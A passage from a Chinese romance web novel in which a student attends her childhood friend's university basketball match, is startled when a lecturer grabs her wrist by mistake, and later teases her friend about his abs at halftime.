这所大学近几年就没进过前八强, 和年年稳居前三甲的京大篮球队压根没什么可比性,他们的教练在看到对手以后就仰头长叹, 头顶阴云密布, 内心疯狂飙泪。 人类的悲喜并不相同。 京大篮球队的大家在群里看到曹老师发的消息后全都笑开了花,在熟悉的地点打比赛本就心安不易紧张, 对手又是京市科技大学,基本稳赢, 比赛还没开始就可以确定进入16强了。 曹老师和魏明轩心里也都这么想, 暗暗窃喜没那么倒霉在第一轮就遇到强劲的对手。但作为教练和队长,生怕队员们大意松懈最后落得第一轮就被淘汰的结果,还是三令五申地让他们保持警惕,不许小瞧对手, 为此甚至还虚构拔高了些科大的能力, 说他们学校今年新招入篮球队的好几个新生球技都很厉害。 32个高校派出的球队将会通过32进16,16进8,8进4, 4进2,1对1这五轮比赛角逐出最后的冠军。 考虑到参加篮球赛的学生大多处于课程较重的大一大二阶段,并且学生的主业还是学习, 所以比赛的战线拉得比较长,安排在每周的周六进行,如此每周只需要抽出一天即可,不会过多耽搁学习的时间,也不会让参加球赛的这批学生因为连轴转打球太累影响到学习的状态。 虞千绾对这些都没太多感觉,随便怎么安排。 但是得知比赛时间是早上九点时,她哀嚎了许久。 九点只是球赛正式开始的时间,在此之前,她自身肯定得洗漱好穿戴整齐,还有路程时间,商恪景还得提前到达做一系列的赛前准备。 算上这些时间后,也就是说,虞千绾最迟七点钟必须起床,而且日后若是去别的学校打比赛,路程更远,起得还得更早。 许久没这么早起来过的虞千绾很不适应,为了能多睡会儿,她把化妆这一步都省了,简单洗漱后直接戴了个帽子就素面朝天跟着商恪景下楼乘车去往学校了。 她的衣服也穿得很简单,一身以舒适性为主的黑色系上下装,因为没睡好觉精神不济且戾气很大,整体给人的感觉多了些生人勿进的疏离感。 “好了好了。” 到达校门口,从车上下来的时候,商恪景将手放在她帽顶上轻轻揉了揉,就像是在安抚一只炸毛的小猫,“当做早起补偿,这一个月的生活花销我都包了行不行?还有你上次逛商场说喜欢但没买的那双高跟鞋,我马上也让人去买回来。” 虞千绾凌晨那会儿灵感突发,剪视频剪到凌晨三点,现在是真困真没劲,萎靡不振到她都懒得抬手去打掉商恪景的手任由他将手放在自己脑袋上。 没睡好的声音带着些鼻音,闷闷的,“才不要你的补偿,这是我之前答应好你的,我就是感觉脑袋涨涨的,眼皮酸酸的,有些没精神,可不是和你挂脸你别多想啊,估计缓一会儿解了困劲就好了。” 生怕在他比赛前影响到他情绪,虞千绾努力睁大困倦的眼睛直勾勾看他,双手握拳朝他挥了挥,尽可能让自己的情绪看起来高涨些,“别看我现在困得蔫吧,等你比赛的时候,我肯定是台下给你加油呐喊声最大的那个!” 商恪景一贯恣意不羁的神情这一刻却很是内收,瞳孔轻颤了下似被什么触动到,手指忽在虞千绾帽子前端用力一压。 猛然被压下的帽檐挡住了虞千绾的视线,她当即叫了声“啊!商恪景你不许弄我帽子。” 她的头发都被帽子压塌了,他要是突然把她帽子拿开露出下面贴头皮的头发会很丑! 虞千绾紧急扶稳自己的帽子,一手捂着帽顶,一手捋着下面的头发,眼睛持续警惕地凝着商恪景。却不知自己视线受阻的那几秒钟,身前人垂视着她的眼神多么的缱绻,多么的情愫暗涌。 她不知道,什么都没有觉察到,光顾着掏出手机照着自己检查头发。 只闻他在别开视线的那秒说:“行,我也一定在所有声音里准确找到你的。” 因为这个小插曲,虞千绾的困劲散了些。 比赛在京大的一号室内球场举行,离京大正门很近,就几分钟的脚程,所以两人没骑车,选择走过去,正好让虞千绾醒醒神。 早晚的风格外凉,虞千绾将外套拢得紧,下巴都缩进去,下倾的帽檐挡住她上半张脸,只露出鼻尖和嘴唇。 进到篮球馆,商恪景这才将背在自己身上但属于她的包递给她,“徐盼雁来了吗?你一个人行不行?” 他作为参赛队员,还得去按照流程签到,要去更衣室换衣服,还得同球队的大家待在一起沟通最后事宜直到上场,没法一直陪在虞千绾身边。 “行的。盼雁已经到了,几分钟前就给我发了大概位置,但这里实在太大了,我可能得找一找。” 这个点的篮球场还没来太多人,但京大的一号室内篮球场很大,京市时而举办正规体育赛事都会租借这里的场地,所以刚到这里的虞千绾很难仅站在入口就看清观赛席的每个人,坐在位置上的徐盼雁也很难发现她,还得往里边走边寻觅一番才行。 因为身高差距,商恪景的视线自上而下,棒球帽伸出的前端挡住了些他的视线,使得他只能看到虞千绾的下半张脸。 正在四处寻找徐盼雁的虞千绾没发现目标,无意识鼓了鼓腮帮。 商恪景视线忽顿。 就像是看到了香甜软糯的雪媚娘,圆润雪白。 让人很想……咬一口。 “你不用管我,去忙你的就行,我再往里面走走肯定能找到盼雁,还有手机沟通呢,放心吧丢不了。你加油打比赛,我不仅会给你加油,还会给你抓拍帅照!” 在门口站着找人的难度太大,视线扫了几圈都找不到徐盼雁的虞千绾选择放弃,仰头冲着商恪景笑了笑打算同他分开朝里去。 冷不丁对上她的笑眼,商恪景见不得光的念头就像是被炽热的光刺到,他立即错开了视线,眼睫快速眨动了几下,声音都不自觉加快,“——好,你坐下给我发个大概位置,不然比赛后人太多,我可能会找不到你。” “okok。” 两人就此分开去往两个不同的方向。 但虞千绾依着徐盼雁的消息寻到了她所说的位置,却依旧没有发现徐盼雁,还当是自己找错了,虞千绾又四处寻找了一会儿,可还是没有发现徐盼雁的人影。 她不太想动了,索性就窝在了角落里,给徐盼雁发去消息:【雁雁你人呢?我到了,但是没在你说的地方看到你呀?是我找错了吗?】 徐盼雁秒回:【啊啊啊啊啊救命,宝你等等我,我肚子不舒服,现在正在卫生间,很快就好!】 【你把你的位置大概描述给我,我好了就去找你!】 【好呢没事~不急,时间还早(亲亲.emoji)】 虞千绾看了眼四周,将身侧贴着的比较显眼的标识告知给徐盼雁,徐盼雁因为男朋友的的比赛来过很多次室内球场,对此很熟,一下就知道了虞千绾的位置。 聊天结束后,虞千绾切了软件,站在原地边玩手机边等待徐盼雁来找她。 堪堪半分钟,她突然听到一阵由远及近的脚步声,那脚步声很沉很急促,光是听着就让她清晰感觉主人极其着急的情绪。 声音越来越近,就好像要撞到了她。 下意识地,虞千绾掀眸往脚步声的来源看去。 还不待她完全将头抬起看到那人,面前就猝然袭来一股劲风,手腕跟着就突然被人扼住,狠狠拽起,连带着她的身形都朝前跌了半步。 很重的力度,仿佛想将她的骨头都捏碎,虞千绾手腕一瞬间被攥得生疼。 但在这个互联网发达且经常看到落单女性受害新闻的时代,虞千绾先感知到的不是疼,而是恐惧,难以形容的寒意自脚底迅速朝上攀升几乎将她整个人都冷冻住。 猛然袭来的天然强于女性的男性力量让虞千绾心悸不已,手上拿着的手机也在瞬间落了地,砸出清脆的一声响。 幸而正值白天,天光很亮,球场里也有人有监控,并非漆黑无人的小巷。 甚至观赛席上已有几人的视线因为手机掉地的声响扭头看过来,但因不明情况还在观察,虞千绾短暂发木丧失思考能力的脑袋回笼了些理智,谅面前的陌生男人应该不敢在这样的场合下胡来。 虞千绾瞳孔已然因为惊惶骤缩,却不得不忍着恐惧强装镇定地扬声呵斥:“你是谁?再乱来我就喊人了。” 同时迅速朝后使劲挣开了被男人桎梏着的手。 她生怕展露出恐惧会让男人愈发得寸进尺,饶是手都在颤抖,面上仍竭力绷着不敢表露,装出肃凶的模样。 “抱、抱歉……我刚刚没看清,认错人了。” 男人也在虞千绾抬起头看到她完整面容的那刻松了手上的劲,刚还充斥在眼里的万般复杂情绪甚至激动到仿佛眼球都要爆开的眼睛却在霎时间落寞死寂灰沉下来,他动了动唇一时间没发出声,又酝酿了须臾后朝着虞千绾鞠了一躬,“实在抱歉……对不起。” 饶是如此,刚经历过突然被陌生人抓住手的虞千绾还是心有余悸,她朝后退了几步,连掉落在地的手机都顾不得拿,“你、你快走吧!” 话落,又觉得自己这样显得太好说话,虞千绾又冷脸粗着声线加了句,“都在一个学校里,我已经记住你的长相了,下次要是再被我知道你这么对别人,我就直接报警了。” “抱歉,真的抱歉,您这边如果需要什么补偿的话都可以提。” 男人蹲下身去帮虞千绾捡起了手机,许是见虞千绾害怕他,他只是将手机上沾染的灰尘擦了擦,然后默默放在了一旁。 虞千绾脑子其实是完全宕机的,此刻的她不过是强装罢了,思考能力并没太多,冷不丁被问及补偿方案压根想不出什么,她现在只有一个念头,那就是让他赶快远离自己,于是她匆匆说:“不需要,你以后别再犯就行。” 男人点了点头,临走前又朝着虞千绾深深鞠了一躬表达歉意,虞千绾依旧警惕地盯着他背影,呼救声持续憋在嗓间,防止他突然打个回马枪。 恰巧,就在男人离开的那个出口,从卫生间回来的徐盼雁和他擦肩而过进来。 看到熟人,虞千绾提着的那口气彻底松下,但又怕那个男人转换目标抓住徐盼雁,着急忙慌冲着徐盼雁直招手,让她快些到自己身边来。 徐盼雁不明所以,但看虞千绾好像很紧张的样子,小跑着朝她靠近,“怎么了?” “刚刚从你身边走过去的那个男人,他就在我跟你聊天结束没一会儿的时候突然过来很凶很用力地抓住我的手,我挣开以后他说自己只是认错了人,但他那样子哪里是和朋友打招呼的样子,我怀疑他就是个故意占女生便宜的变态猥琐男。” 虞千绾揉了揉自己的右手手腕,上面还残留着一圈清晰的红痕没散,足可见男人那一下劲使得多大。 “啊???刚刚那个男人?!” 徐盼雁似乎很讶异,还回头看了看男人离开的方向,语调里掺杂着浓浓的不敢想象,“我的天呐,他居然是这种人……” 虞千绾被她这个态度弄得懵然,“啊……难不成你认识他?” “你也认识啊,只不过你就看过他的照片没见过他真人,可能乍然看到真人没和照片对上。” 听徐盼雁这么说,虞千绾更懵了,她脑子里完全检索不到相同的脸。 “就是这学期第一次上课的那天,咱们宿舍四个坐在一起讨论的那个——学校新来的物理系老师周既明。开学那阵他常待在表白墙上,大家都说帅的那个,你当时看了照片也说他帅来着,还说他和商恪景不是一个类型的帅哥,想起来了吗?” 听到“物理系老师”五个字时,虞千绾就想了起来,应该说她一直都记得这号人物,但确实如徐盼雁所说,她看到真人的时候并没意识到眼前人就是之前看过照片的周老师。 而且虞千绾并不是很爱看学校表白墙,只会在很无聊刷朋友圈的时候才会偶然扫几眼,所以除去第一节课时从室友递来的手机上看到过周既明的照片后至今,她其实是没再看过周既明的照片的,一眼都没有,只会时不时的从同学口中听说一些有关他的事。 当初的寥寥几眼到现在已然过去了约莫一个半月的时间,虞千绾早就忘了周既明长什么样,但她还记得彼时看照片时周既明给她的感觉——气质温雅斯文,实则内心却不是个很温的人,有些淡淡的疏离感。 不过整体还是让人觉得很有教养很懂礼貌的,与刚刚做出那种蛮横举动的男人简直毫无相似处,全然不像是一个人。 如若不是徐盼雁提及,虞千绾完全不会想到今天见到的人和在众人口中听到的那位物理系老师居然是同一人。 刚刚那人分明看起来偏执又阴郁…… 但慌乱感散去些后,虞千绾回想,他的外表给人的感觉确实还是偏斯文学识那挂的。 只不过历经这么一遭,虞千绾只觉得这位周老师的温柔都是伪装和假象,湿冷无礼才是他的本性。 她突然联想到小说里很常见的一类男性角色——病娇。 脑海里挥之不去抬起眼的那刻对上的周既明那双要杀死人的眼神,虞千绾鸡皮疙瘩都要起来,双手交叉在身前搓了搓两边的胳膊。 果然是小说看着很带感,现实遇到却要跑得远远的那种类型。 徐盼雁低下头轻轻抓过虞千绾的小臂看着她手腕上鲜明的五根手指印,表情不禁有些忿忿,“我刚看到他的时候心里头一喜,还想趁他没走远让你看看真人呢,结果他居然干这种事,真是人不可貌相,我以后再也不说他帅了。” “不过,他说他认错人,会不会是把你认成他某个仇人了,而不是朋友?” 徐盼雁这话登时给虞千绾提供了不一样的思路。 对哦,她听到周既明说认错人的时候,第一反应想的是他试图用把她误当做一起来看球赛的朋友做借口,倒是忘记了还有仇人…… “很可能是,估计还是对方欠了他很多钱的那种。” 理智回笼,虞千绾想了想刚刚发生的一幕幕,非常赞同地点了点头,“我其实刚刚也觉得有些奇怪,我想就算是小偷也不能这么光明正大的偷东西吧,他怎么敢在这种地方就公然拉住我。” “我本来还以为他是学校里的研究生博士生学长呢,结果他是老师,那程度就更严重了,这要是被学生举报上去,他可能连工作都得丢。” 徐盼雁倒听得心慌,“也不能确定!我就是这么猜测,你千万别因为我的话掉以轻心了,总之这段时间还是多注意吧,回头跟商恪景说一声,让他尽量干啥都陪着你,你别一个人出门了,突然这么一下挺吓人的。” “嗯,放心我知道,他要是再敢出现我就直接轰去校长办公室实名举报。” “希望不要出现那一天,真到那一步记得给我发消息,我陪你!咱绝对不纵容他这种恶劣行为。” 徐盼雁朝着虞千绾伸出手,虞千绾在她掌心轻拍,“一定!” 两人对视而笑,徐盼雁手指顺势挤入虞千绾指缝里牢牢牵住她晃了晃,虞千绾笑容更甚,心里的慌乱也被驱散许多- 徐盼雁来得早,提前帮她和虞千绾一起占好了座,是在第一排中间的最佳观赏位。 两人携手一块落了座。 随着时间,球场观众席开始上人。 其中还有些京市科技大学的学生和老师专程过来给京科大的篮球队加油。 虞千绾瞧见他们有些人的手里居然还拿着横幅,登时和徐盼雁低语:“完蛋,咱们好像准备少了,他们怎么架势那么大?还有横幅。” “那应该是球队没上场的人故意整活的,咱们校篮球队之前也有,今年不知道有没有。不过都不重要啦,主要还是比赛结果,赢了以后时间多着呢,私下想怎么庆祝都行。” “商恪景最近特别能找事,而且这还是他上大学以来第一次参加篮球赛,要是看到别人那有咱们这边却没有,他回去又要念叨我了。” “他还敢念叨你?要我说,咱们俩这个点能坐在这就够给他们面子了,魏明轩要是敢说我我一巴掌给他抽飞。” 徐盼雁说得生动传神,手还真在空中狠狠扇了一巴掌,仿佛真在抽打魏明轩。 虞千绾瞬间被逗笑,身形不禁前仰后合,“你俩是男女朋友,我跟商恪景哪行啊,还是不一样的。” 徐盼雁刚欲说什么,注意力忽被身后传来的声音吸引去。 ——“你快来,你男神真在!刚刚有人看到他了。” ——“绝对保真的消息,你别睡懒觉了,以最快速度换上你最漂亮的裙子,化上美美的妆!” ——“这里来了不少女生,你快点,最好再带个水啊礼物啊什么的送他增强些他对你的记忆。” 身后的女生应该在跟谁打电话,怕吵到周围人,她声音虽然压得低,但语调难抑激昂。 而且两排间距离很近,但凡注意听些,话语轻易就被收入耳中。 徐盼雁眼睛一亮,当即张口想说什么,但又怕被身后女生听到,于是倾身凑到虞千绾耳边很小声很小声地跟她分享道:“你知道吗,今天这场篮球赛来的女生可比往届多多了,我从没见过这么热闹的球场。” 虽然篮球场整体看起来还是挺空旷的有很多空位,但毕竟球场这么大的面积,而且只是校与校之间的比赛,来到现场的基本都是学生,不似公开售票的大型赛事受众广,能有这种上座率已是不易。 “是嘛,为什么?这届篮球赛有什么特殊的吗?” 虞千绾完全不知道,她之前从没看过一次正式的篮球赛,甚至都大四了,这个室内球场她还是第一次来。 “当然是因为你那竹马咯。” 徐盼雁抵了抵虞千绾的肩膀,直冲她眨眼,“虽然咱们学校没搞过什么正儿八经的校花校草评选,但见过商恪景且有眼睛的人都知道他帅吧。前些天有人看到他跟篮球队在一起训练,就匿名发到表白墙上问他是不是要参加比赛,然后就一传十十传百的,很多人都说要来看。” “真的假的,这么夸张?” 虞千绾有些惊笑了,她虽然很清楚以商恪景的皮囊会有很多人对他见色起意,也见过很多人给他塞情书表白,但没想到会引起这么大的轰动。 徐盼雁:“哎呀,这些来看他的人里面肯定也没多少是真对他很喜欢的那种,但是帅哥打球诶,看看饱饱眼福又没什么,不看白不看。” “而且来现场当志愿者、观众什么的能加学分,既加学分又能看帅哥一举两得,可是加学分这规则早就存在了,又不是这届篮球赛才有,但却是第一次来这么多人,所以我觉得归其原因还是商恪景在这打球给了不少人过来的动力。” 学分对大学生来说本来就很有吸引力,再有个帅哥,二者的重要性不分伯仲。 这么说起来就合理多了,否则好似所有人都是奔着商恪景来一般未免太过浮夸。虞千绾笑着点了点头,不禁思考自己带来的毛巾和水该不会用不上吧?万一有人在她前面去给商恪景送水和毛巾的话。 说曹操曹操到。 曹老师带着篮球队队员从休息室出来,商恪景一米八八的个头在其中很是惹眼,换了身篮球服后若隐若现暴露出的精瘦薄肌身材更是让人移不开眼。 几乎在他出来的那刻,原本较为安静的观赛席突然就小幅度哄闹起来,不少人都悄悄举起了手机对准他。 并不知情的当事人也拿起了手机,手指在手机上点了几下,也不知看了什么,而后忽然抬起头寻找起来。 见商恪景抬头,刚还偷拍他的人一秒忙碌了起来,有的迅速放下手机面颊红温匆忙看向别处,有的则是怕此地无银三百两佯装出格外自然的模样将摄像头一点一点移开,实则嘴里一个劲咕哝“完蛋了完蛋了不会被他发现了吧,好尴尬好社死。” 从微信上看到虞千绾发来的位置,商恪景视线很快就锁定到她身上。 四目相对的那秒,他没太多表情的脸忽而笑得恣意,隔空朝她抬了抬下颚示意。 虞千绾回笑着朝他点了点头。 坐在其余位置的女生或许没发现什么,但坐在虞千绾周围的女生迅速意识到商恪景和她关系不寻常,与朋友的对话声都小了许多,生怕传到虞千绾耳朵里。 距离比赛开始还有一会儿的时间,篮球队的大家待在一起也就是聊天放松而已。 在哪待不是待,当然还是待在虞千绾身边比较好,商恪景跟魏明轩打了个招呼就在众多道视线中径直朝着虞千绾小跑而来。 一身篮球服,一张极具冲击性的浓颜笑面,小跑时被风带起的额发,几乎严丝合缝贴在身前印出腹肌的薄薄衣料,每一帧都浸着浓浓的青春男大气息,给到每一个看向他的人非常强烈的视觉冲击。 大抵是因为虞千绾和徐盼雁坐得近,商恪景刚刚远远做出的小动作,旁人并不能清晰辨别出他到底是在和虞千绾打招呼还是徐盼雁,所以此刻有许多道无形的目光在虞千绾和徐盼雁身上来回梭巡。 第一次感受到处在话题中央滋味的徐盼雁不自觉坐直了些身子,唇角很难不上翘,“救命,突然好激动是怎么回事?怎么有种偶像剧照进现实的感觉?好爽啊。” 虽然她深知商恪景是奔着虞千绾来的,但别人不知道呀,所以她现在勉强也算在大家好奇的范畴内,小小蹭一下他们的“光环”。 两个当事人却并没太多如此的情绪,大概是因为家世优越外貌出众的他们自出生起就被周围人艳羡着,早已习以为常。 虞千绾一边身侧坐的是徐盼雁,另侧是空的,或许是因为那侧只余一个位置,现场来人大多的结伴的,所以都会选择坐在一起。而且场馆空位还挺多,第二排第三排和第一排的差距也没有很大,所以虞千绾另侧的空位一直空到现在没人坐,身后倒是基本坐满了。 商恪景正好坐上了她身边的空位,开口就是戏谑又散漫的调调,“醒神没啊?我的大小姐。” 当局者迷,虞千绾听起来就觉得很欠揍的称呼落在徐盼雁这个局外人的耳朵里顿觉宠溺。 徐盼雁真的想不通,这俩人怎么会真的是朋友,原来异性之间真有这样纯洁的友情。 在刚认识虞千绾那会儿,徐盼雁其实是不太信的,因为她和商恪景实在看起来太配太熟稔,不仅是外貌还有性格,以及随便的一个眼神一个动作,他们都太懂对方,完全超出了徐盼雁对异性朋友的认知。 但时间一晃这么多年,大学都快要毕业了,他们依旧是这个状态,没有丁点要交往的意思,徐盼雁才打从心底里觉得他俩真是那种自小认识的纯友情,时而实在看他俩般配的时候,她就会猛拍自己的脑袋,暗暗训自己真是个无可救药的性缘脑,可不能再这么瞎想,人家俩人之间是纯洁的不能再纯洁的发小情谊了。 这不,下一秒虞千绾毫无暧昧的话腔和动作就扼杀了徐盼雁又觉得他俩之间感情变味的念头。 “闭嘴啊。” 虞千绾这么回商恪景,还伸手指了指他,皮笑肉不笑的警告,“你马上还要比赛,我先不打你。” 她一听他这个称呼就觉得他包藏祸心。 总觉得他下一句就要蹦出些拿腔作调的话恶心她。 商恪景闷笑出声,“天地良心——” 天地良心,他真没这个意思。 但确实他曾经多次以“虞大小姐”开头说过些揶揄的话,导致虞千绾这个反应他一时间也无从辩驳,是他自作自受。 而且,商恪景话还没说完,视线就忽被她手腕上的红痕吸引。 笑容骤散,他倏地伸手但又怕弄疼她,所以攥在了她小臂中段的位置,声音都在瞬间冷了下去,“怎么弄的?” “不小心磕着了。” 虞千绾下意识将手往回撤,另手还将袖子朝下拉了拉试图掩住手腕。 换做平常她肯定立刻就跟商恪景说了。 但今天不同,他马上要上场比赛,虞千绾怕跟他讲完以后他会多想,影响到比赛就不好了,所以还是等到比赛完后再跟他说比较好。 可商恪景完全不给她躲避和将手收回去的机会,他稍一用力就将她的手腕拉得更近,另手还将她的衣袖彻底撩起露出完整的红痕,“虞千绾你骗鬼呢,磕哪能磕出五根手指掐出来的印子?有本事你再磕一个给我看看?这明显是指痕——谁欺负你了。” 最后五个字,他是以一种很不爽的语调一个字一个字从齿关挤出来的。 虞千绾很是无奈。 她腕骨虽然转动时还会有些轻微的疼感,但毕竟没破皮没伤痕,肉眼上看不出来什么。指痕也不是什么大问题,过一会儿也就自动散尽了,商恪景再迟个几分钟过来估计就什么都看不出了,奈何偏偏是现在……比赛还没开始,指痕也还要散不散的还留在她嫩白的肌肤上。 但再隐瞒反而让商恪景多想。 虞千绾这才将刚刚的事全盘托出。 徐盼雁也在一旁补充,让商恪景这段时间千万多陪陪虞千绾,尤其不能让她一个人走夜路。 商恪景眉头越听蹙得越紧,带有明显压迫感的眼神直接在现场扫视起来,“物理系老师?他现在还在现场吗?” “应该……不在吧?” 他这么一问,虞千绾也不确定了,“盼雁回来的时候他走了,后来回没回来我就不知道了。” 她也大致看了一圈,但篮球场大,坐得远些的人完全看不清面庞。 所以虞千绾虽然没看到周既明,但不确定是自己没看到还是他不在。 商恪景还想说什么,但曹教练那边已经在喊他了,“恪景,来热身准备上场了。” 虞千绾赶忙推他起来,“你快去打比赛吧,什么事咱们结束再说,一定要赢啊,加油加油。” 商恪景站倒是站起来了,但还是不太放心地叮嘱:“上下半场之间有休息时间,你要是想去卫生间的话等那时候我陪你去,你们俩女孩子就别单独去了,篮球场这边有些偏,卫生间也空荡没什么人。” “知道知道,别念了商妈妈,快去吧。” 虞千绾刻意这么说想逗笑商恪景让他别绷着情绪。 结果商恪景没笑,徐盼雁倒一下被这称呼逗得扑哧笑出声。 这俩人真有意思,一个喊“大小姐”一个喊“妈妈”。 第28章 第 28 章 “商恪景,你腹肌好带感…… 伴随着一声哨响, 篮球赛上半场正式打响。 虞千绾完全不懂篮球,她之前陪商恪景去打篮球真的只是陪,他打球,她在休闲区玩手机, 人在就行。 商恪景知道虞千绾对篮球没兴趣, 她能陪他来已经很够朋友了, 自也不可能强求她一直看。 两人大多时间里甚至不在彼此的视线范围内, 只是在一个场馆内。 而且在他们攒的局里都是有男有女的, 爱打球的就去打,想玩别的就去玩别的, 虞千绾基本都是和女性朋友们窝在一起闲聊, 或者打打壁球游会泳。 所以细究起来,虞千绾都没正儿八经坐在球场边看着商恪景打完过一整局的篮球, 不过就算她看了也没什么用,因为朋友们私下打的篮球不会像今天这么规范, 又是教练又是裁判的。 所以虞千绾完全不了解篮球的规则, 她就知道把球投进对方的篮筐里算赢,故而今日看球赛时也只有在看到京大篮球队这边进球的时候才会发出声高兴的呐喊,因为别的拉扯她看不懂,不知道优势在谁那边, 看得一头雾水自然无法做出即时的反应。 幸而有徐盼雁在身边给她充当解说, 虞千绾看起来才没那么艰难。 徐盼雁懂的其实也不是很多,但她跟热爱篮球的魏明轩谈了两年恋爱,陪着魏明轩打过大大小小的比赛, 看多了经历多了自然在规则和流程这方面懂的比虞千绾多。 不过因为对手是早知底细的京市科技大学,实力悬殊太大,所以支持京大篮球队的大家都看得很轻松愉快。 截止至上半场结束, 科技大学那边就进了一球。 但据徐盼雁的小声告知,虞千绾才知这一球居然还是京大篮球队故意送的,算是人情分,否则给科大剃了光头太难看,会让他们队伍没面子。 虞千绾看着垂头丧气的科大篮球队队员,短暂怜惜了他们一秒,而后就加入为京大篮球队庆贺的欢呼声中。 中场休息。 两队队员都迅速回到教练身边商量下半场的战术策略。 虽然十月底的天气已有些冷,但室内完全隔绝了外面的风,现场又有不少观众更为室内添了暖意,场内就跟开了空调热风似的,穿裙子都不会过多感觉到冷,只会有点点微凉。 可这样的温度对刚结束剧烈运动从球场上下来的队员们而言还是太热,他们各个满头大汗,浑圆的汗珠顺着发缝连成串地往下掉,擦都擦不及。 教练也在战局结束的时候往前迎了一截,所以他们还没去到休息区拿到自己的毛巾,手上刚打完篮球也脏脏的还带着汗,只能凑合着扯起篮球服和里头短T的衣摆往头上脸上胡乱擦了一通。 相较起来,商恪景出汗并没那么多,所以他只是将就着先用手背和胳膊抹去汗液。 耐心听完教练的总结和对下局的部署后,他们分开,各朝各放置物件的地方去。 商恪景压根没带毛巾和水,就指望着虞千绾,所以他直接朝着虞千绾走过去。 虞千绾已经从包里拿出了毛巾和水。 篮球赛的氛围到底还是不一样,虞千绾感觉到商恪景肯定是累的,他胸膛明显地起伏着,所以也比平常要更体贴的,她当即拧开了瓶盖想帮他尽可能的省些力气。 篮球队里还有位叫仲鹏云的学弟,他女朋友今天也来给他加油了,但她是跟她室友一块来的,跟徐盼雁虞千绾不太熟,所以没跟她们坐在一起。 此刻她见男友和教练分开,第一时间拿着毛巾和水下了观赛席满脸洋溢着幸福关切地朝他奔去。 目前场上只有这位学妹和商恪景在明显的逆行,格外惹眼,不知情的人下意识以为学妹是要去给商恪景送毛巾和水。 虞千绾清晰听到身后有人低低的遗憾的“啊”了声,而后大抵是她的朋友恨铁不成钢地催促她:“你啊什么啊,让你上你不上,你看被人抢先了吧。” 也有人准备好看戏吃瓜,“啊啊啊,她是不是要去给商恪景送水了,会趁机表白吗?这趟果然没白来!要是商恪景答应就精彩了。” 很快,学妹和商恪景交错而过,两人并没有任何对话或眼神,观众席上有人暗暗舒了口气有人遗憾。 虞千绾和徐盼雁坐在第一排,她们并不知道在裁判宣布中场休息的时候,后座有些人就蠢蠢欲动地站起来打算尝试去送水了,甚至已经有人从侧边绕了下去,但还有些缺乏勇气没好意思上前和商恪景搭话,正在原地徘徊犹豫。 脸上的汗越蓄越多,手背和胳膊反复擦拭汗珠已经湿透没有干处再让他擦,尤其是……马上就要走到虞千绾面前跟她近距离打照面。 商恪景不想自己满头大汗的出现在她的面前,他自觉狼狈,于是抓起篮球服领口,用那片衣料在额头上擦了擦。 球员们都有在篮球服的里面穿短T,但动作间一个不注意就会带起些置于篮球服里面的短T,商恪景也不例外。 因为拽动衣服领口且躬身低头的动作,他的短T下摆也在不觉察间上移了些。 于是,坐在前三排,且视线都聚集在商恪景身上的人自然而然就看到了他虽无意露出但实在勾人的那截劲壮小腹,因为刚运动完呼吸还没平稳,他沟壑分明的腹肌正带着股色欲劲的小幅度起伏着,不仅如此,似还有几根贲张但又不那么明显的青色细筋恰到好处地自裤腰向上凸显,仿佛也带着若有似无的跃动。 虽然只持续了五六秒的时间,但看到的人都默契噤声睁大了眼默默欣赏。 就连虞千绾都愕然了下。 他什么时候背着她去偷偷健身了吗?怎么和她记忆里的身材好像不一样了呢,男人了好多……成熟荷尔蒙气息都快要冲她一脸。 难以形容这种感觉,虽然她早知道他们已然成年不是小孩了,但许是打小就认识加之商恪景性格又总是痞浪痞浪的不正经,所以对比起同龄人,虞千绾总是在无意识间削减了商恪景的年纪、成熟感与担事的能力,总还觉得是个男孩而非男人。 但这一刻,虞千绾分外清晰地认知到——商恪景确实不是她记忆里那么幼稚的存在了,他的内心其实比大多同龄人更成熟,她亦然,只是他们在彼此面前都会暴露出幼稚的那面而已。 细想,好像商恪景早就有腹肌了,他有穿着紧身衣跟她显摆炫耀过,但隔着层衣服弱化了许多薄肌的纹理感,远不敌此刻的冲击感。 不仅肌肉线条很漂亮,他的皮肤还很白,让人很难移开眼,那几根轻微跳动着的青筋的存在更是色到不行,比虞千绾在网上刷到的那些薄肌身材还要贴合她的审美,就连肚脐眼的形状都说不出的赏心悦目。 虞千绾突然有些心虚,他当初跟她说的时候,她其实隔着衣服看出了商恪景的腹肌轮廓,虽然她觉得很不明显,但确实是有,只不过当时的她还没练出马甲线——他们在练前是有过口头赌约的,比谁先练出想要的身材,她是马甲线,他是腹肌。 彼时,虞千绾嘴硬不肯承认商恪景进度比她快一步,想着再过几天保不齐她也就练出来了,那样没有落后他很多,于是就不说他爱听的话,笑话他儿童身材硬凹。 但在当时,虞千绾确实也有这个念头,她觉得商恪景的腹肌只是初有些雏形而已,离真正的腹肌还差很远很远。 哪想到现在都练得这么好了…… 就这么一小会儿遐想的功夫,商恪景身边已经来了两个女生送水。 大抵是因为这两个女生的靠近,其余有这个心思的女生感觉到危机感也纷纷上前。 五六个人几乎呈现出一个将商恪景小包围的四分之三圈。 “抱歉,不用。” 商恪景嘴里反复着这两句话婉拒面前和身侧的女生,视线却直直从她们头顶越过看向安然坐在位置上的虞千绾。 而她,却只是以一种戏谑的八卦姿态看着他。 分明手上拿着毛巾和水却就是不上前来,就那么看着,甚至在和他对视后还明晃晃换了个更加舒适的姿势更为趣狭地望着他——她将右手肘支在交叠的细腿上,曲着的手撑着下颚,腰背微曲。 商恪景自以为喜欢虞千绾的一切,但此刻他发现并不是如此,起码在这一秒,他很讨厌她这样的眼神。 虽然商恪景一直知道虞千绾不喜欢自己,但心里清楚是一回事,无比清晰地看着感受着又是一回事,他的心头还是忍不住的一酸。 眼睫忽而下压,情绪有些不太好。 但虞千绾俨然一副不可能过来主动给他送水的姿态,他虽然心里难受,可步伐还是不减分毫地拒绝了面前人以后朝她走去。 虞千绾本来是要起身去迎他正好把水和毛巾递给他的,但她看很多人在他面前,她过去也挺奇怪的,索性就在原地等着。 见商恪景过来,她起了身,觉得他此刻更需要毛巾一些,于是她先递上了毛巾。 商恪景幽幽看她一眼,唇角很轻地下撇了一下。 期待很久的场景,因为刚刚那个小插曲,他几乎感觉不到什么高兴了,心口闷闷涩涩的。 从虞千绾手里默不作声地拿过毛巾,默不作声地擦着脸和脖颈上的汗。 他本想窝囊地和虞千绾生一小会儿闷气,但下一秒,他就感觉到虞千绾在上上下下地打量他,他继续用那种哀怨但不语的眼神回视她,想看看她又打算干什么气死人不偿命的事。 结果下秒,她的视线就毫不收敛地定格在他小腹前,语调轻佻,笑容粲然,“商恪景,你腹肌好带感啊。” 